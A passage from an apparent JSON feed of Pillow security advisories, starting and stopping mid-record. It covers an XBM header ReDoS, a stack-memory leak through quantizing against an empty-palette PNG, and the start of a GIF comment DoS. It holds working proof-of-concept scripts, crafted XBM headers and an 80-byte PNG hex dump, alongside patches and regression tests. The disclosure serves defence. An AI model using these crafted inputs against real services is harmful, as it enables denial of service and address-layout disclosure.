k=15 '_bits'  : UnidentifiedImageError in 0.748s\nattack  k=20 '_bits'  : UnidentifiedImageError in 3.024s\nattack  k=25 '_bits'  : UnidentifiedImageError in 8.561s\nBUG\n```\n\nThe script prints `BUG` only when all of these hold:\n\n- the control header opened as `XBM` in under 1 s;\n- the k = 25 attack input took more than 2 s;\n- the k = 25 attack input took more than 5 times as long as the k = 15 one, i.e. the cost grows super-linearly in k.\n\nOtherwise it prints `OK`. With the attached patch applied, every attack input is rejected at once, so the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch removes the overlap between `[ \\t]+` and the quantifier that matches the identifier prefix in `xbm_head` (`src/PIL/XbmImagePlugin.py:32-40`), so the whitespace after `#define` can be consumed in exactly one way and the identifier cannot run across line terminators. It matches the identifier with `[^ \\t\\r\\n]*` (and `[^ \\t\\r\\n_]*` in the hotspot group, which keeps the existing \"no underscore before `_x_hot`/`_y_hot`\" behaviour); the remaining quantifier pairs are then either over disjoint character classes or reduce to a single linear rescan of at most 512 bytes:\n\n```diff\n xbm_head = re.compile(\n-    rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P\u003cwidth\u003e[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+.*_height[ \\t]+(?P\u003cheight\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"\\s*#define[ \\t]+[^ \\t\\r\\n]*_width[ \\t]+(?P\u003cwidth\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n]*_height[ \\t]+(?P\u003cheight\u003e[0-9]+)[\\r\\n]+\"\n     b\"(?P\u003chotspot\u003e\"\n-    b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P\u003cxhot\u003e[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P\u003cyhot\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_x_hot[ \\t]+(?P\u003cxhot\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_y_hot[ \\t]+(?P\u003cyhot\u003e[0-9]+)[\\r\\n]+\"\n     b\")?\"\n     rb\"[\\000-\\377]*_bits\\[]\"\n )\n```\n\nThis mirrors the `PdfParser` fix for CVE-2021-25292. The patch also adds a `test_redos` case to `Tests/test_file_xbm.py`, in the style of the one in `Tests/test_file_pdf.py`: it builds the k = 60 header from Details and, under `@timeout_unless_slower_valgrind(1)`, expects `XbmImageFile` to raise `SyntaxError`. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and the existing `Tests/test_file_xbm.py` (including `hopper.xbm`, `hopper_underscore.xbm` and the hotspot round-trip) still passes. The change does reject headers whose identifier contains whitespace (`#define foo bar_width 16`), which is not valid C and is not produced by Pillow's own XBM writer.\n\n## The patch\n\nUse more specific regex chars in the XBM header regex to prevent ReDoS in Image.open() on a crafted 512-byte header\n\nApplies to `src/PIL/XbmImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_xbm.py b/Tests/test_file_xbm.py\nindex 1988c417f..67236c795 100644\n--- a/Tests/test_file_xbm.py\n+++ b/Tests/test_file_xbm.py\n@@ -6,7 +6,7 @@ import pytest\n \n from PIL import Image, XbmImagePlugin\n \n-from .helper import hopper\n+from .helper import hopper, timeout_unless_slower_valgrind\n \n TYPE_CHECKING = False\n if TYPE_CHECKING:\n@@ -91,3 +91,17 @@ def test_hotspot(tmp_path: Path) -\u003e None:\n \n     with Image.open(out) as reloaded:\n         assert reloaded.info[\"hotspot\"] == hotspot\n+\n+\n+@timeout_unless_slower_valgrind(1)\n+def test_redos() -\u003e None:\n+    k = 60\n+    malicious = b\"#define\" + b\" \" * k + b\"_width 1\\r\"\n+    malicious += b\"#define\" + b\" \" * k + b\"_height 1\\r\"\n+    malicious += b\"#define\" + b\" \" * k + b\"_x_hot 1\\r\"\n+    malicious += b\"#define\" + b\" \" * k + b\"_y_hot 1\" + b\"\\r\" * k + b\"_bits\"\n+    malicious += b\"A\" * (512 - len(malicious))\n+\n+    # The important thing is it doesn't timeout, cause a ReDoS\n+    with pytest.raises(SyntaxError):\n+        XbmImagePlugin.XbmImageFile(BytesIO(malicious))\ndiff --git a/src/PIL/XbmImagePlugin.py b/src/PIL/XbmImagePlugin.py\nindex 95729d73d..7435d20f2 100644\n--- a/src/PIL/XbmImagePlugin.py\n+++ b/src/PIL/XbmImagePlugin.py\n@@ -29,12 +29,14 @@ if TYPE_CHECKING:\n     from typing import IO\n \n # XBM header\n+# The identifier before each suffix cannot contain whitespace, so that it\n+# cannot overlap with the preceding [ \\t]+ and cause a ReDoS\n xbm_head = re.compile(\n-    rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P\u003cwidth\u003e[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+.*_height[ \\t]+(?P\u003cheight\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"\\s*#define[ \\t]+[^ \\t\\r\\n]*_width[ \\t]+(?P\u003cwidth\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n]*_height[ \\t]+(?P\u003cheight\u003e[0-9]+)[\\r\\n]+\"\n     b\"(?P\u003chotspot\u003e\"\n-    b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P\u003cxhot\u003e[0-9]+)[\\r\\n]+\"\n-    b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P\u003cyhot\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_x_hot[ \\t]+(?P\u003cxhot\u003e[0-9]+)[\\r\\n]+\"\n+    rb\"#define[ \\t]+[^ \\t\\r\\n_]*_y_hot[ \\t]+(?P\u003cyhot\u003e[0-9]+)[\\r\\n]+\"\n     b\")?\"\n     rb\"[\\000-\\377]*_bits\\[]\"\n )\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 1,138 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# XbmImagePlugin.xbm_head catastrophic backtracking, reached from Image.open()\n# on a \u003c=512-byte stream. Prints BUG if a failing 512-byte header takes\n# super-linearly long while the same-shaped valid header opens instantly.\nimport io, time\nfrom PIL import Image\n\ndef hdr(k, tail):\n    d = b\"\"\n    for name in (b\"_width 1\\r\", b\"_height 1\\r\", b\"_x_hot 1\\r\", b\"_y_hot 1\"):\n        d += b\"#define\" + b\" \" * k + name\n    d += b\"\\r\" * k + tail\n    return d + b\"A\" * (512 - len(d))\n\ndef timed(data):\n    s = time.perf_counter()\n    try:\n        im = Image.open(io.BytesIO(data)); r = f\"{im.format} {im.size}\"\n    except Exception as e:\n        r = type(e).__name__\n    return r, time.perf_counter() - s\n\nctl, tc = timed(hdr(60, b\"_bits[]\"))\nprint(f\"control k=60 '_bits[]': {ctl} in {tc:.3f}s\")\nts = {}\nfor k in (10, 15, 20, 25):\n    r, ts[k] = timed(hdr(k, b\"_bits\"))\n    print(f\"attack  k={k:2d} '_bits'  : {r} in {ts[k]:.3f}s\", flush=True)\n# k=60 (fits easily in 512 bytes) runs for minutes; not executed here.\nbug = ctl.startswith(\"XBM\") and tc \u003c 1 and ts[25] \u003e 2 and ts[25] \u003e 5 * ts[15]\nprint(\"BUG\" if bug else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-21T20:45:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-xgh8-jp6q-p5x8","https://nvd.nist.gov/vuln/detail/CVE-2026-112901","https://github.com/python-pillow/Pillow/commit/2852a3e3d568997ddec745fc800991f138878f4b","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-xgh8-jp6q-p5x8"],"source_kind":"github","identifiers":["GHSA-xgh8-jp6q-p5x8","CVE-2026-112901"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.278Z","epss_percentage":0.00532,"epss_percentile":0.46377,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z2g4LWpwNnEtcDV4OM4AB-_N","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Z2g4LWpwNnEtcDV4OM4AB-_N","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z2g4LWpwNnEtcDV4OM4AB-_N/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112901","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112901","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112901"},{"uuid":"CVE-2026-112901","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112901.json"}]},{"uuid":"GSA_kwCzR0hTQS1yZmdxLXEzdzItcG12Ms4AB-_M","url":"https://github.com/advisories/GHSA-rfgq-q3w2-pmv2","title":"Pillow: Image.quantize() with empty palette leaks uninitialized stack memory","description":"```\n============================================================================\nImage.quantize() with empty palette leaks uninitialized stack memory\nLocation: src/libImaging/Palette.c:216  in ImagingPaletteCacheUpdate()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.\n\nThe bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette-\u003esize`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `\"P\"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new(\"P\", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new(\"P\", ...)` route exists since 10.1.0.\n\n## Details\n\n`ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i \u003c palette-\u003esize; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette-\u003esize == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size \u003e= 1`. A zero-entry `\"P\"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new(\"P\", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache).\n\nShowing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`:\n\n```\n89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c\n00000000 504c5445 4ba88955\n0000000b 49444154 789c6360c0040000140001 7dfe1eee\n00000000 49454e44 ae426082\n```\n\n```python\npal = Image.open(io.BytesIO(png)); pal.load()      # pal.mode == \"P\", pal.im.getpalette(\"RGB\") == b\"\"\nsrc = Image.new(\"RGB\", (512, 1))\nsrc.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])\nout = src.quantize(palette=pal, dither=Image.Dither.NONE)\nout.tobytes()        # 512 bytes, different in every process\n```\n\nThe 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b ∈ [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process's `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` — and 3 words equal to the thread's stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, \"PNG\")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette-\u003epalette`.\n\n### Code path\n\nFile → empty C palette. `PngImagePlugin.chunk_PLTE` (`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw(\"RGB\", b\"\")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette(\"RGB\", \"RGB\", b\"\")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette-\u003esize = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.\n\nAPI → sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == \"P\"` and calls `self.im.convert(\"P\", dither, palette.im)` → `ImagingConvert` → `topalette(..., inpalette=\u003cthat palette\u003e, dither)`. `topalette` tests the palette for `NULL` (`Convert.c:1162`, `:1178`) but not for `size == 0`, allocates the cache (every slot `0x100` = \"not computed\"), and for each source pixel:\n\n```c\n// src/libImaging/Convert.c:1319-1327  (non-dither path; the dither path at 1252-1265 is the same)\n                    cache = \u0026ImagingPaletteCache(palette, r, g, b);\n                    if (cache[0] == 0x100) {\n                        ImagingPaletteCacheUpdate(palette, r, g, b);\n                    }\n                    …\n                        out[x] = (UINT8)cache[0];\n```\n\nInside `ImagingPaletteCacheUpdate` the only store to `c[]` is in step 2, and both step 1 and step 2 iterate over palette entries:\n\n```c\n// src/libImaging/Palette.c:160-161\n    unsigned int d[BOXVOLUME];\n    UINT8 c[BOXVOLUME];\n…\n// src/libImaging/Palette.c:212-221, 240-242\n    for (i = 0; i \u003c BOXVOLUME; i++) {\n        d[i] = (unsigned int)~0;          /* d[] is initialised, c[] is not */\n    }\n    for (i = 0; i \u003c palette-\u003esize; i++) { /* size == 0: body never runs */\n        if (dmin[i] \u003c= dmax) {\n            …\n                        if ((unsigned int)bd \u003c d[j]) {\n                            d[j] = bd;\n                            c[j] = (UINT8)i;\n                        }\n```\n\nFor any non-empty palette every slot is written: the entry that produced `dmax` passes `dmin[i] \u003c= dmax`, and because `d[j]` starts at `~0` the first visiting entry always stores into `c[j]`. With `size == 0` the loop is skipped entirely and step 3 publishes the raw stack array:\n\n```c\n// src/libImaging/Palette.c:262-266\n    j = 0;\n    for (r = r0; r \u003c r1; r += 4) {\n        for (g = g0; g \u003c g1; g += 4) {\n            for (b = b0; b \u003c b1; b += 4) {\n                ImagingPaletteCache(palette, r, g, b) = c[j++];\n```\n\n`cache[0]` is then ≤ 255 and `palette-\u003epalette` is a fixed 1024-byte array, so the subsequent `palette-\u003epalette[cache[0] * 4]` reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive `ImagingPaletteCacheUpdate` invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.\n\nThe behaviour was introduced in `54cb09d8b48c` (\"When converting to P, restrict colors to palette size\", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The `Image.new(\"P\", ...)` route additionally depends on `fd310512b95a` (\"Set C palette to be empty by default\", first in 10.1.0); before that a fresh `\"P\"` image carried a 256-entry grey ramp.\n\n## Impact\n\nAn application that lets a user supply the reference palette image for `Image.quantize(palette=...)` — palette-swap / \"apply this palette\" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and `_imaging.so`, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the *palette* image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.\n\n## Reproducing\n\n`repro` is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.\n\n1. `png_with_plte()` builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a given `PLTE` payload. With an empty payload it produces exactly the 80-byte file shown above.\n2. `quantize_against()` does what an \"apply this palette\" feature does: it opens the PNG with `Image.open()` and calls `quantize(palette=pal, dither=Image.Dither.NONE)` on a 512×1 RGB strip. The strip holds the colours `(r*4, g*4, b*4)` for `r, g, b` in `0..7`, one for each slot of the colour-cache box `r, g, b ∈ [0,32)` and in slot order. That makes output pixel `j` exactly `c[j]` of `ImagingPaletteCacheUpdate()`.\n3. **Control:** a one-entry `PLTE`. The only valid index is 0, and every output pixel is 0.\n4. **Attack:** the same PNG with a zero-length `PLTE`. `quantize()` returns an image without complaint, and its pixels contain about 80 distinct values.\n5. **Check:** the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the `[stack]` range in the script's own `/proc/self/maps`. It prints each word that points into the stack. A typical run finds 8, e.g. `pixels 0..7 = 0x00007ffd959c3fa0 \u003c- pointer into [stack]`. Pixel data can only hold stack addresses if it was copied from the stack.\n\nThe script prints `BUG` if the control is all zeros and at least two output words are stack addresses. It prints `OK` if `quantize()` rejects the empty palette with `ValueError`, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints `attack (empty PLTE): rejected: empty palette` / `OK`. With only the `Palette.c` half of the patch, the output is 512 zero bytes and it prints `OK`.\n\n## Suggested fix\n\nThe attached patch rejects an empty palette in `topalette()` before any work is done, with `ValueError(\"empty palette\")` in the same idiom as the neighbouring \"no palette\" / \"conversion not supported\" checks, so `Image.quantize()` raises a normal `ValueError`. It also zero-fills `c[]` alongside `d[]` in `ImagingPaletteCacheUpdate()` so no present or future caller can copy stack contents into the cache, and adds a regression test `test_empty_palette` to `Tests/test_image_quantize.py`. `quantize(palette=)` is the only path that hands a caller-supplied palette to `topalette()`; the `NULL`-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare `Image.new(\"P\", ...)`) now raises instead of returning garbage indices. The C changes:\n\n```diff\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n     alpha = mode == IMAGING_MODE_PA;\n \n+    if (palette != NULL \u0026\u0026 palette-\u003esize \u003c= 0) {\n+        return (Imaging)ImagingError_ValueError(\"empty palette\");\n+    }\n+\n     if (palette == NULL) {\n         /* FIXME: make user configurable */\n         if (imIn-\u003ebands == 1) {\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n     for (i = 0; i \u003c BOXVOLUME; i++) {\n         d[i] = (unsigned int)~0;\n+        c[i] = 0;\n     }\n \n     for (i = 0; i \u003c palette-\u003esize; i++) {\n```\n\nApplied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with `ValueError: empty palette` and the script prints `OK`; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in `src/PIL`. Optionally `PngImagePlugin.chunk_PLTE` could additionally raise `SyntaxError` for a `PLTE` whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and `Image.quantize()` could raise a clearer Python-level error when `palette.palette` is empty.\n\n## The patch\n\nRaise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()\n\nApplies to `src/libImaging/Convert.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py\nindex 887628560..dcd1d901e 100644\n--- a/Tests/test_image_quantize.py\n+++ b/Tests/test_image_quantize.py\n@@ -179,3 +179,13 @@ def test_small_palette() -\u003e None:\n     quantized_colors = im.getcolors()\n     assert quantized_colors is not None\n     assert len(quantized_colors) == 2\n+\n+\n+def test_empty_palette() -\u003e None:\n+    im = hopper()\n+\n+    p = Image.new(\"P\", (1, 1))\n+    p.putpalette(b\"\")\n+\n+    with pytest.raises(ValueError):\n+        im.quantize(palette=p)\ndiff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c\nindex 4a35a9a1f..7746d9255 100644\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n     alpha = mode == IMAGING_MODE_PA;\n \n+    if (palette != NULL \u0026\u0026 palette-\u003esize \u003c= 0) {\n+        return (Imaging)ImagingError_ValueError(\"empty palette\");\n+    }\n+\n     if (palette == NULL) {\n         /* FIXME: make user configurable */\n         if (imIn-\u003ebands == 1) {\ndiff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c\nindex b2dacf656..ceb69d3dc 100644\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n     for (i = 0; i \u003c BOXVOLUME; i++) {\n         d[i] = (unsigned int)~0;\n+        c[i] = 0;\n     }\n \n     for (i = 0; i \u003c palette-\u003esize; i++) {\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,975 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow: Image.quantize(palette=\u003cP image with an empty palette\u003e) returns\n# uninitialised C stack bytes as pixel values.\n#\n# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local\n# UINT8 c[512] inside `for (i = 0; i \u003c palette-\u003esize; i++)`. A PNG with a\n# zero-length PLTE chunk gives palette-\u003esize == 0, so c[] is never written and\n# its raw stack contents are copied into the colour cache, which topalette()\n# (src/libImaging/Convert.c) then emits as the output pixels.\nimport io\nimport struct\nimport zlib\n\nfrom PIL import Image\n\n\ndef png_with_plte(plte):\n    \"\"\"A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`.\"\"\"\n    def chunk(tag, data):\n        return (struct.pack(\"\u003eI\", len(data)) + tag + data\n                + struct.pack(\"\u003eI\", zlib.crc32(tag + data)))\n    ihdr = struct.pack(\"\u003eIIBBBBB\", 4, 4, 8, 3, 0, 0, 0)\n    pixels = zlib.compress(b\"\\x00\" * 4 * 5)\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"PLTE\", plte)\n            + chunk(b\"IDAT\", pixels) + chunk(b\"IEND\", b\"\"))\n\n\ndef quantize_against(palette_png):\n    \"\"\"What an \"apply this palette\" feature does with an uploaded palette image.\"\"\"\n    pal = Image.open(io.BytesIO(palette_png))\n    # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot\n    # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().\n    src = Image.new(\"RGB\", (512, 1))\n    src.putdata([(r * 4, g * 4, b * 4)\n                 for r in range(8) for g in range(8) for b in range(8)])\n    return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()\n\n\ndef stack_range():\n    for line in open(\"/proc/self/maps\"):\n        if line.rstrip().endswith(\"[stack]\"):\n            lo, hi = line.split()[0].split(\"-\")\n            return int(lo, 16), int(hi, 16)\n\n\n# Control: a one-entry palette -- every pixel must map to index 0.\ncontrol = quantize_against(png_with_plte(b\"\\x10\\x20\\x30\"))\nprint(f\"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}\")\n\n# Attack: the same PNG with an empty PLTE chunk (80 bytes).\ntry:\n    leaked = quantize_against(png_with_plte(b\"\"))\nexcept ValueError as e:\n    print(f\"attack (empty PLTE): rejected: {e}\")\n    print(\"OK\")\n    raise SystemExit\n\nprint(f\"attack  (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:\")\nprint(f\"  {leaked[:64].hex()}\")\n\n# Read the 512 pixel bytes as 64 little-endian words; any word that is an\n# address inside this process's own stack can only have come from the stack.\nlo, hi = stack_range()\nprint(f\"this process's [stack] mapping: {lo:#x}-{hi:#x}\")\nstack_ptrs = 0\nfor i in range(0, 512, 8):\n    word = int.from_bytes(leaked[i:i + 8], \"little\")\n    if lo \u003c= word \u003c hi:\n        stack_ptrs += 1\n        print(f\"  pixels {i:3d}..{i + 7:3d} = {word:#018x}  \u003c- pointer into [stack]\")\n\nprint(f\"{stack_ptrs} of 64 words of the output image are stack addresses\")\nprint(\"BUG\" if set(control) == {0} and stack_ptrs \u003e= 2 else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-21T20:44:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2","https://nvd.nist.gov/vuln/detail/CVE-2026-112898","https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-rfgq-q3w2-pmv2"],"source_kind":"github","identifiers":["GHSA-rfgq-q3w2-pmv2","CVE-2026-112898"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.279Z","epss_percentage":0.0046,"epss_percentile":0.4161,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZmdxLXEzdzItcG12Ms4AB-_M","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZmdxLXEzdzItcG12Ms4AB-_M","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 9.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZmdxLXEzdzItcG12Ms4AB-_M/related_packages","related_advisories":[{"uuid":"CVE-2026-112898","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112898.json"},{"uuid":"UBUNTU-CVE-2026-112898","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112898","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112898"}]},{"uuid":"GSA_kwCzR0hTQS03NHIyLTdmZjktbWpqMs4AB-_L","url":"https://github.com/advisories/GHSA-74r2-7ff9-mjj2","title":"Pillow: Quadratic GIF comment concatenation allows DoS in Image.open()","description":"```\n============================================================================\nQuadratic GIF comment concatenation allows DoS in Image.open()\nLocation: src/PIL/GifImagePlugin.py:266  in GifImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nOpening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with 